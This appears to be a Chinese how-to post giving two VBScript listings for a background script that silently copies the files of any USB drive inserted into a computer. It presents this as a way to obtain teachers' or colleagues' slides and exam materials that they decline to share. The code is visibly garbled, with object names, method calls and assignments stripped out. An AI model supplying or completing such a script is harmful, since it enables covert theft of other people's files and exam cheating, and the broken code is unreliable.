在學(xué)校或工作中，我們經(jīng)常會遇到老師或同事不愿意分享PPT或者其他資料的情況。為了解決這個(gè)問題，并且提高獲取重要考試資料的機(jī)會，我們可以通過一種簡單的方法來實(shí)現(xiàn)U盤插入自動(dòng)復(fù)制的功能。 準(zhǔn)備工作 首

在學(xué)校或工作中，我們經(jīng)常會遇到老師或同事不愿意分享PPT或者其他資料的情況。為了解決這個(gè)問題，并且提高獲取重要考試資料的機(jī)會，我們可以通過一種簡單的方法來實(shí)現(xiàn)U盤插入自動(dòng)復(fù)制的功能。

準(zhǔn)備工作

首先，我們需要?jiǎng)?chuàng)建一個(gè)文本文檔，并將下面的代碼復(fù)制粘貼進(jìn)去：

set fsocreateobject("")
set wscreateobject("")
on error resume next
do
 1000
if ("U盤的盤符") then
 "U盤的盤符加*號","要復(fù)制到的目錄"
 "U盤的盤符加*號","要復(fù)制到的目錄"
 20000
end if
loop

請注意需要自行修改代碼中標(biāo)記顏色的部分。藍(lán)色部分代表要復(fù)制到的目錄，比如"C:USB"代表要復(fù)制到C盤下的USB文件夾。紅色部分代表U盤的盤符，比如新插入的U盤是E盤，則用"E:*"代替紅色部分。

保存和運(yùn)行

保存文件時(shí)，最好使用英文命名，并將后綴改為.VBS。如果后綴沒有顯示，請打開“我的電腦”，在菜單欄中找到“工具”-“文件夾選項(xiàng)”，在“查看”標(biāo)簽中取消勾選“隱藏已知文件類型的擴(kuò)展名”。然后雙擊運(yùn)行該文件即可。

停止自動(dòng)復(fù)制

如果想停止自動(dòng)復(fù)制功能，可以打開任務(wù)管理器，結(jié)束進(jìn)程WScript.exe。這樣程序就會停止運(yùn)行。需要注意的是，每次重啟計(jì)算機(jī)后，該功能會再次生效。

更新說明

上述方法只能復(fù)制第一個(gè)插入的U盤的內(nèi)容，對于插入多個(gè)U盤或移動(dòng)硬盤無法實(shí)現(xiàn)自動(dòng)復(fù)制。

更新的代碼如下：

set fsocreateobject("")
set wscreateobject("")
dim USB, file, folder, files
USBinputbox("請輸入U(xiǎn)盤的盤符" amp;Chr(10) amp; "如插入的U盤為F盤，則輸入F", "插入的U盤盤符", "F")
folderinputbox("請輸入復(fù)制到的文件夾" amp;Chr(10) amp; "如想復(fù)制到D盤，請輸入D:", "請輸入復(fù)制到的文件夾", "C:USB")
filesinputbox("請輸入要復(fù)制的文件類型" amp;Chr(10) amp; "如要復(fù)制EXCEL文件，輸入xls；默認(rèn)為全部類型", "請輸入要復(fù)制的文件類型", "ALL")
USBUSB amp; ":"
folderfolder amp; ""
if files"ALL" then
    fileUSB amp; "*"
else
    fileUSB amp; "*. " amp; files
end if
if (folder) then
else
    (folder)
end if
on error resume next
do
 1000
if (USB) then
     file,folder
     file,folder
     20000
end if
loop

請按照提示修改代碼中的盤符、文件夾和文件類型，然后保存文件并將后綴改為.VBS。運(yùn)行該文件即可實(shí)現(xiàn)自動(dòng)復(fù)制功能。